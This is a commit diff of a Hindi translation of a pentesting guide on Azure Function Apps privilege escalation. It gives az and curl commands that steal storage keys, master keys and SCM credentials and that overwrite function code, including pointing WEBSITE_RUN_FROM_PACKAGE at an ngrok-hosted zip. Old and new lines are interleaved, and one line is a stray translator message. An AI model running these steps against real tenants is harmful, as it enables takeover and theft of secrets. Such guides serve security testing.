Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-11-30 12:28:20 +00:00
parent f0a4c05bb4
commit 263ebcc53a

View File

@@ -4,7 +4,7 @@
## Function Apps ## Function Apps
अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करें: अधिक जानकारी के लिए निम्न पृष्ठ देखें:
{{#ref}} {{#ref}}
../az-services/az-function-apps.md ../az-services/az-function-apps.md
@@ -12,26 +12,26 @@
### Bucket Read/Write ### Bucket Read/Write
यदि आपके पास उस Storage Account के अंदर कंटेनरों को पढ़ने की अनुमति है जो फ़ंक्शन डेटा को स्टोर करत है, तो आप **विभिन्न कंटेनरों** (कस्टम या पूर्व-निर्धारित नामों के साथ) को खोज सकते हैं जो **फ़ंक्शन द्वारा निष्पादित कोड** को समाहित कर सकते हं। Storage Account के अंदर जो containers होते है जो Function data को स्टोर करत हैं उन्हें पढ़ने की permissions होने पर आप **विभिन्न कंटेनर** (custom या pre-defined names वाले) खोज सकते हैं जो संभवतः **Function द्वारा निष्पादित कोड** को contain करते हं।
एक बार जब आप यह पता लगा लेते हैं कि फ़ंक्शन का कोड कहाँ स्थित है, यदि आपके पास उस पर लिखने की अनुमति है, तो आप फ़ंक्शन को कोई भी कोड निष्पादित करने के लिए बना सकते हैं और फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ा सकते हैं। एक बार जब आप पता लगा लें कि Function का कोड कहाँ स्थित है और आपके पास उस पर write permissions है, तो आप Function को किसी भी कोड को execute करने के लिए मजबूर कर सकते हैं और Function से जुड़े managed identities के privileges escalate कर सकते हैं।
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` और `WEBSITE_CONTENTSHARE`) - **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
फ़ंक्शन का कोड आमतौर पर एक फ़ाइल शेयर के अंदर संग्रहीत होता है। पर्याप्त पहुंच के साथ, कोड फ़ाइल को संशोधित करना और **फ़ंक्शन को मनमान कोड को लोड करने** के लिए बनाना संभव है, जिससे फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाना संभव हो जाता है Function का कोड आमतौर पर एक file share के अंदर स्टोर रहता है। पर्याप्त access होने पर कोड फ़ाइल में संशोध कर के आप **Function को मनमान कोड लोड करवाना** संभव कर सकते है, जिससे Function से जुड़े managed identities के privileges escalate हो सकें
यह तैनाती विधि आमतौर पर सेटिंग्स **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** और **`WEBSITE_CONTENTSHARE`** को कॉन्फ़िगर करती है, जिसे आप प्राप्त कर सकते हैं This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** जिन्हें आप प्राप्त कर सकते हैं
```bash ```bash
az functionapp config appsettings list \ az functionapp config appsettings list \
--name <app-name> \ --name <app-name> \
--resource-group <res-group> --resource-group <res-group>
``` ```
े कॉन्फ़िगरेशन **स्टोरेज अकाउंट की** को शामिल करेंगे जिसका उपयोग फ़ंक्शन को कोड तक पहुँचने के लिए किया जा सकता है। े कॉन्फ़िग्स में वह **Storage Account Key** होगी जिसका उपयोग Function कोड तक पहुँचने के लिए क सकता है।
> [!CAUTION] > [!CAUTION]
> फ़ाइल शेयर से कनेक्ट करे और **स्क्रिप्ट को संशोधित करने** के लिए पर्याप्त अनुमति के साथ, फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है। > पर्याप्त अनुमति होने पर File Share से कनेक्ट करे और चल रही स्क्रिप्ट को **modify the script** करने पर Function में arbitrary code निष्पादित करना और privileges escalate करना संभव है।
निम्नलिखित उदाहरण macOS का उपयोग करके फ़ाइल शेयर से कनेक्ट करता है, लेकिन फ़ाइल शेयरों के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करना भी अनुशंसित है: निम्न उदाहरण macOS का उपयोग करके file share से कनेक्ट करने का तरीका दिखाता है, लेकिन file shares के बारे में और जानकारी के लिए निम्न पृष्ठ भी देखें:
{{#ref}} {{#ref}}
../az-services/az-file-shares.md ../az-services/az-file-shares.md
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
``` ```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
यह सामान्य है कि **zip releases** को उस फ़ोल्डर `function-releases` के अंदर पाया जाए जो Storage Account कंटेनर में है जिसका उपयोग फ़ंक्शन ऐप कर रहा है, **जो आमतौर पर `function-releases`** कहलाता है। अक्सर `function-releases` फोल्डर के अंदर, उस Storage Account container में जो function app उपयोग कर रहा होता है, **zip releases** मिलती हैं — आमतौर पर यह container `function-releases` नाम का होता है।
आमतौर पर, यह तैनाती विधि `WEBSITE_RUN_FROM_PACKAGE` कॉन्फ़िग सेट करेगी: आम तौर पर यह deployment method `WEBSITE_RUN_FROM_PACKAGE` config को निम्न में सेट कर देता है:
```bash ```bash
az functionapp config appsettings list \ az functionapp config appsettings list \
--name <app-name> \ --name <app-name> \
--resource-group <res-group> --resource-group <res-group>
``` ```
यह कॉन्फ़िगरेशन आमतौर पर **SAS URL को डाउनलोड करने के लिए** स्टोरेज अकाउंट से कोड प्राप्त करने के लिए शामिल होगा। This config will usually contain a **SAS URL to download** the code from the Storage Account.
> [!CAUTION] > [!CAUTION]
> यदि ब्‍लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है जो **कोड को ज़िप में शामिल करता है**, तो फ़ंक्‍शन में मनमाना कोड निष्‍पादित करना और विशेषाधिकार बढ़ाना संभव है। > blob container से कनेक्ट करने क पर्याप्त अनुमति होने पर जो **contains the code in zip** है, Function में arbitrary code execute करके privileges escalate करना संभव है।
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
पिछले मामले की तरह, यदि तैनाती Github Actions के माध्यम से की जाती है, तो स्टोरेज अकाउंट में **`github-actions-deploy`** फोल्डर खोजना संभव है जिसमें कोड का ज़िप और सेटिंग `WEBSITE_RUN_FROM_PACKAGE` में ज़िप के लिए एक SAS URL शामिल है। पिछले केस की तरह, अगर deployment Github Actions के माध्यम से किया गया है तो Storage Account में **`github-actions-deploy`** फोल्डर पाया जा सकता है जो कोड का zip रखता है और setting `WEBSITE_RUN_FROM_PACKAGE` में उस zip का SAS URL होता है।
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` और `WEBSITE_CONTENTSHARE`) - **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
स्टोरेज अकाउंट के अंदर फ़ंक्‍शन डेटा को संग्रहीत करने वाले कंटेनरों को पढ़ने के लिए अनुमतियों के साथ, **`scm-releases`** कंटेनर खोजना संभव है। वहाँ, **Squashfs फ़ाइल प्रणाली फ़ाइल प्रारूप** में नवीनतम रिलीज़ खोजना संभव है और इसलिए फ़ंक्‍शन के कोड को पढ़ना संभव है: function data संग्रहीत करने वाले Storage Account के अंदर के containers पढ़ने की permissions होने पर **`scm-releases`** container पाया जा सकता है। वहाँ आप latest release **Squashfs filesystem file format** में पा सकते है और इसलिए function का code पढ़ना संभव है:
```bash ```bash
# List containers inside the storage account of the function app # List containers inside the storage account of the function app
az storage container list \ az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
``` ```
यह भी संभव है कि **मास्टर और फ़ंक्शन कुंजी** को स्टोरेज खाते में **`azure-webjobs-secrets`** कंटेनर में **`<app-name>`** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो। It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
> [!CAUTION] > [!CAUTION]
> यदि ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है जो **कोड को ज़िप एक्सटेंशन फ़ाइल** में रखता है (जो वास्तव में एक **`squashfs`** है), तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है। > blob container से कनेक्ट करने के लिए पर्याप्त अनुमति होने पर, जो **contains the code in a zip extension file** (जो वास्तव में एक **`squashfs`** है), Function में arbitrary code execute करना और privileges escalate करना संभव है।
```bash ```bash
# Modify code inside the script in /tmp/fs adding your code # Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
``` ```
### `Microsoft.Web/sites/host/listkeys/action` ### `Microsoft.Web/sites/host/listkeys/action`
यह अनुमति निर्दिष्ट फ़ंक्शन के फ़ंक्शन, मास्टर और सिस्टम कुंजियों को सूचीबद्ध करने की अनुमति देती है, लेकिन होस्ट कुंजी नहीं। यह अनुमति निर्दिष्ट function की function, master और system keys को सूचीबद्ध करने की अनुमति देती है, लेकिन host key को नहीं, निम्न के साथ:
```bash ```bash
az functionapp keys list --resource-group <res_group> --name <func-name> az functionapp keys list --resource-group <res_group> --name <func-name>
``` ```
मास्टर कुंजी के साथ, एक URL में स्रोत कोड प्राप्त करना भी संभव है: master key के साथ यह भी संभव है कि source code को ऐसे URL से प्राप्त किया जा सके, जैसे:
```bash ```bash
# Get "script_href" from # Get "script_href" from
az rest --method GET \ az rest --method GET \
@@ -130,70 +130,91 @@ az rest --method GET \
# Access # Access
curl "<script-href>?code=<master-key>" curl "<script-href>?code=<master-key>"
## Python example: # Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
``` ```
और **कार्य में निष्पादित हो रहे कोड को बदलने के लिए**: और फ़ंक्शन में **निष्पादित हो रहे कोड को बदलने** के लिए:
```bash ```bash
# Set the code to set in the function in /tmp/function_app.py # Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example ## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \ --data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \ -H "Content-Type: application/json" \
-H "If-Match: *" \ -H "If-Match: *" \
-v -v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
``` ```
### `Microsoft.Web/sites/functions/listKeys/action` ### `Microsoft.Web/sites/functions/listKeys/action`
यह अनुमति निर्दिष्ट फ़ंक्शन की होस्ट कुंजी प्राप्त करने की अनुमति देती है: यह अनुमति निर्दिष्ट function की default key प्राप्त करने की अनुमति देती है:
```bash ```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01" az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
``` ```
प्राप्त डिफ़ॉल्ट कुंजी का उपयोग करके फ़ंक्शन को चलाएँ:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write` ### `Microsoft.Web/sites/host/functionKeys/write`
यह अनुमति निर्दिष्ट फ़ंक्शन की फ़ंक्शन कुंजी बनाने/अपडेट करने की अनुमति देती है: यह अनुमति निर्दिष्ट फ़ंक्शन की function key को निम्न के साथ बनाने/अपडेट करने की अनुमति देती है:
```bash ```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
``` ```
### `Microsoft.Web/sites/host/masterKey/write` ### `Microsoft.Web/sites/host/masterKey/write`
यह अनुमति निर्दिष्ट फ़ंक्शन के लिए मास्टर कुंजी बनाने/अपडेट करने की अनुमति देती है: यह permission निर्दिष्ट function के लिए master key बनाने/अपडेट करने की अनुमति देती है:
```bash ```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
``` ```
> [!CAUTION] > [!CAUTION]
> याद रखें कि इस कुंजी के साथ आप स्रोत कोड तक भी पहुँच सकते हैं औसे पहले बताए अनुसार संशोधित कर सकते हैं! > याद रखें कि इस key के साथ आप स्रोत कोड तक भी पहुँच से पहले बताए गए अनुसार संशोधित कर सकते हैं!
### `Microsoft.Web/sites/host/systemKeys/write` ### `Microsoft.Web/sites/host/systemKeys/write`
यह अनुमति निर्दिष्ट फ़ंक्शन के लिए एक सिस्टम फ़ंक्शन कुंजी बनाने/अपडेट करने की अनुमति देत है: यह permission निर्दिष्ट function के लिए system function key create/update करने की अनुमति देत है:
```bash ```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
``` ```
मैंने उस फ़ाइल की सामग्री प्राप्त नहीं की है। कृपया src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md की सामग्री या "key" यहाँ पेस्ट करें ताकि मैं उसे हिंदी में अनुवाद कर सकूं।
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
```
### `Microsoft.Web/sites/config/list/action` ### `Microsoft.Web/sites/config/list/action`
यह अनुमति क फ़ंक्शन की सेटिंग्स प्राप्त करने की अनुमति देती है। इन कॉन्फ़िगरेशन के अंदर, यह संभव है कि **`AzureWebJobsStorage`** या **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** के डिफ़ॉल्ट मान मिलें, जिसमें **ब्लॉब स्टोरेज तक FULL अनुमतियों के साथ पहुँच के लिए एक खाता कुंजी** होती है। यह अनुमति किसी फ़ंक्शन की सेटिंग्स प्राप्त करने देती है। इन कॉन्फ़िगरेशन में डिफ़ॉल्ट मान **`AzureWebJobsStorage`** या **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** मिल सकते हैं, जो फ़ंक्शन के blob storage तक FULL permissions के साथ एक्सेस करने के लिए एक account key रखते है
```bash ```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group> az functionapp config appsettings list --name <func-name> --resource-group <res-group>
``` ```
इसके अलावा, यह अनुमति **SCM उपयोगकर्ता नाम और पासवर्ड** (यदि सक्षम हो) प्राप्त करने की भी अनुमति देती है: इसके अलावा, यह अनुमति (यदि सक्षम हो) **SCM username and password** प्राप्त करने की अनुमति भी देती है:
```bash ```bash
az rest --method POST \ az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01" --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
``` ```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` ### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
ये अनुमतियाँ एक फ़ंक्शन के कॉन्फ़िगरेशन मानों को सूचीबद्ध करने की अनुमति देती हैं जैसा कि हमने पहले देखा था, साथ ही **इन मानों को संशोधित करने** की भी। यह उपयोगी है क्योंकि ये सेटिंग्स यह संकेत करती हैं कि फ़ंक्शन के अंदर निष्पादित होने वाला कोड कहाँ स्थित है। ये permissions एक function के config values को सूचीबद्ध करने की अनुमति देती हैं जैसा कि पहले देखा गया था, और साथ ही आप इन्हें **इन मानों को संशोधित कर सकते हैं**। यह उपयोगी है क्योंकि ये सेटिंग्स बताती हैं कि function के अंदर execute होने वाला code कहाँ स्थित है।
इसलिए यह संभव है कि सेटिंग का मान **`WEBSITE_RUN_FROM_PACKAGE`** को एक URL ज़िप फ़ाइल की ओर इंगित किया जाए जिसमें एक वेब एप्लिकेशन के अंदर निष्पादित होने के लिए नया कोड: इसलिए यह संभव है कि आप setting **`WEBSITE_RUN_FROM_PACKAGE`** का मान उस URL zip फ़ाइल की ओर सेट करें जिसमें वेब एप्लिकेशन के अंदर execute करने के लिए नया code होता:
- वर्तमान कॉन्फ़िगरेशन प्राप्त करने से शुरू करें - शुरू करने के लिए पहले वर्तमान config प्राप्त करें
```bash ```bash
az functionapp config appsettings list \ az functionapp config appsettings list \
--name <app-name> \ --name <app-name> \
--resource-group <res-name> --resource-group <res-name>
``` ```
- वह को बनाएं जिसे आप फ़ंक्शन को चलाना चाहते हैं और इसे सार्वजनिक रूप से होस्ट करें - उस code को बनाएं जिसे आप function द्वारा चलाना चाहते हैं और इसे सार्वजनिक रूप से होस्ट करें
```bash ```bash
# Write inside /tmp/web/function_app.py the code of the function # Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py cd /tmp/web/function_app.py
@@ -203,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example # Serve it using ngrok for example
ngrok http 8000 ngrok http 8000
``` ```
- फ़ंक्शन को संशोधित करें, पिछले पैरामीटर को बनाए रखें और अंत में **`WEBSITE_RUN_FROM_PACKAGE`** कॉन्फ़िगरेशन जोड़ें जो कोड के साथ **zip** वाली URL की ओर इशारा करता है - फ़ंक्शन में संशोध करें, पिछले पैरामीटर्स को रखें और अंत में कॉन्फ़िग **`WEBSITE_RUN_FROM_PACKAGE`** जोड़ें जो कोड वाले **zip** के URL की ओर इशारा कर
निम्नलिखित मेरे **अपन सेटिंग्स का एक उदाहरण है, आपको अपने लिए मान बदलने की आवश्यकता होगी**, अंत में मान `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` है, यहाँ मैंने ऐप को होस्ट किया था। The following is an example of my **मेरी अपन सेटिंग्स हैं; आपको इनके मान अपने अनुसार बदलने होंगे**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, this is where I was hosting the app.
```bash ```bash
# Modify the function # Modify the function
az rest --method PUT \ az rest --method PUT \
@@ -215,7 +236,7 @@ az rest --method PUT \
``` ```
### `Microsoft.Web/sites/hostruntime/vfs/write` ### `Microsoft.Web/sites/hostruntime/vfs/write`
इस अनुमति के साथ **किसी एप्लिकेशन के कोड को वेब कंसोल के माध्यम से संशोधित करना संभव है** (या निम्नलिखित API एंडपॉइंट के माध्यम से): इस अनुमति के साथ यह **संभव है कि किसी एप्लिकेशन के कोड में बदलाव किया जा सके** वेब कंसोल के माध्यम से (या निम्नलिखित API endpoint के जरिए):
```bash ```bash
# This is a python example, so we will be overwritting function_app.py # This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function # Store in /tmp/body the raw python code to put in the function
@@ -223,10 +244,29 @@ az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \ --uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \ --headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body --body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
``` ```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) ### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
यह अनुमति सभी प्रकाशन प्रोफाइल को सूचीबद्ध करने की अनुमति देती है, जो मूल रूप से **बुनियादी प्रमाणीकरण क्रेडेंशियल** शामिल करती है: यह अनुमति सभी publishing profiles को सूचीबद्ध करने की अनुमति देती है, जो मूल रूप से **basic auth credentials** होते है:
```bash ```bash
# Get creds # Get creds
az functionapp deployment list-publishing-profiles \ az functionapp deployment list-publishing-profiles \
@@ -234,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \ --resource-group <res-name> \
--output json --output json
``` ```
एक और विकल्प होगा कि आप अपनी खुद की क्रेडेंशियल्स सेट करें और उनका उपयोग करें: एक और विकल्प होगा अपने creds सेट करना और उनका उपयोग करना:
```bash ```bash
az functionapp deployment user set \ az functionapp deployment user set \
--user-name DeployUser123456 g \ --user-name DeployUser123456 g \
--password 'P@ssw0rd123!' --password 'P@ssw0rd123!'
``` ```
- यदि **REDACTED** क्रेडेंशियल्स - यदि **REDACTED** credentials
यदि आप देखते हैं कि वे क्रेडेंशियल्स **REDACTED** हैं, तो इसका मतलब है कि आपको **SCM बेसिक ऑथेंटिकेशन विकल्प को सक्षम करने की आवश्यकता है** और इसके लिए आपको दूसरी अनुमति की आवश्यकता है (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` यदि आप देखते हैं कि वे credentials **REDACTED** हैं, तो इसका कारण यह है कि आपको **SCM basic authentication option को सक्षम करने** की आवश्यकता है और इसके लिए आपको दूसरा permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` की आवश्यकता है।
```bash ```bash
# Enable basic authentication for SCM # Enable basic authentication for SCM
az rest --method PUT \ az rest --method PUT \
@@ -262,9 +302,9 @@ az rest --method PUT \
} }
} }
``` ```
- **Method SCM** - **विधि SCM**
फिर, आप अपने फ़ंक्शन ऐप के SCM URL पर इन **बुनियादी प्रमाणीकरण क्रेडेंशियल्स** के साथ पहुँच सकते हैं और env वेरिएबल्स के मान प्राप्त कर सकते हैं: फिर, आप इन **basic auth credentials** के साथ अपने function app के SCM URL पर पहुँच सकते हैं और env variables के मान प्राप्त कर सकते हैं:
```bash ```bash
# Get settings values # Get settings values
curl -u '<username>:<password>' \ curl -u '<username>:<password>' \
@@ -275,15 +315,15 @@ zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \ curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy https://<app-name>.scm.azurewebsites.net/api/zipdeploy
``` ```
_ध्यान दें कि **SCM उपयोगकर्ता नाम** आमतौर पर वर्ण "$" के बाद ऐप का नाम होता है, इसलिए: `$<app-name>`._ _ध्यान दें कि **SCM username** आमतौर पर '$' अक्षर होता है, उसके बाद ऐप का नाम ता है, इसलिए: `$<app-name>`._
आप `https://<app-name>.scm.azurewebsites.net/BasicAuth` से वेब पृष्ठ तक भी पहुँच सकते हैं। आप इस वेब पेज तक इस URL से भी पहुँच सकते हैं: `https://<app-name>.scm.azurewebsites.net/BasicAuth`
सेटिंग्स मानों में उस स्टोरेज खाते का **AccountKey** शामिल होता है जो फ़ंक्शन ऐप के डेटा को संग्रहीत करता है, जिससे उस स्टोरेज खाते को नियंत्रित किया जा सकता है। Settings मानों में function app के डेटा को स्टोर करने वाले storage account का **AccountKey** होता है, जिससे उस storage account को नियंत्रित किया जा सकता है।
- **विधि FTP** - **तरीका FTP**
FTP सर्वर से कनेक्ट करें: FTP सर्वर से कनेक्ट करने के लिए:
```bash ```bash
# macOS install lftp # macOS install lftp
brew install lftp brew install lftp
@@ -297,19 +337,19 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
``` ```
_ध्यान दें कि **FTP उपयोगकर्ता नाम** आमतौर पर इस प्रारूप में होता है \<app-name>\\$\<app-name>._ _ध्यान दें कि **FTP username** आमतौर पर प्रारूप \<app-name>\\$\<app-name> में होता है._
### `Microsoft.Web/sites/hostruntime/vfs/read` ### `Microsoft.Web/sites/hostruntime/vfs/read`
यह अनुमति **VFS के माध्यम से ऐप का स्रोत कोड पढ़ने** की अनुमति देती है: यह अनुमति VFS के माध्यम से app का **स्रोत कोड पढ़ने** की अनुमति देती है:
```bash ```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
``` ```
### `Microsoft.Web/sites/functions/token/action` ### `Microsoft.Web/sites/functions/token/action`
इस अनुमति के साथ यह संभव है [**व्यवस्थापक टोकन** प्राप्त करें](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) जिसे बाद में **मास्टर कुंजी** प्राप्त करने के लिए उपयोग किया जा सकता है और इसलिए फ़ंक्शन के कोड को एक्सेस और संशोधित किया जा सकता है। इस अनुमति के साथ आप [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) प्राप्त कर सकते हैं, जिसका उपयोग बाद में **master key** प्राप्त करने और इसलिए function's code तक पहुँचने व उसे संशोधित करने के लिए किया जा सकता है।
हालाकि, मेरी अंतिम जाचों में कोई टोकन वापस नहीं किया गया, इसलिए यह संभव है कि यह अक्षम या अब काम न कर रहा हो, लेकिन यहाँ यह है कि आप इसे कैसे करेंगे: हालाकि, मेरी हाल की जाचों में कोई token वापस नहीं या, इसलिए यह disabled हो सकता या अब काम नहीं कर रहा हो, पर यहाँ बताया गया है कि आप इसे कैसे करेंगे:
```bash ```bash
# Get admin token # Get admin token
az rest --method GET \ az rest --method GET \
@@ -321,7 +361,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
``` ```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) ### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
यह अनुमति **फंक्शंस को सक्षम** करने की अनुमति देती है जो कि अक्षम हो सकते हैं (या उन्हें अक्षम कर सकती है) यह अनुमति उन फ़ंक्शंस को सक्षम करने (या अक्षम करने) की अनुमति देती है जो निष्क्रिय हो सकती है
```bash ```bash
# Enable a disabled function # Enable a disabled function
az functionapp config appsettings set \ az functionapp config appsettings set \
@@ -329,13 +369,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \ --resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false" --settings "AzureWebJobs.http_trigger1.Disabled=false"
``` ```
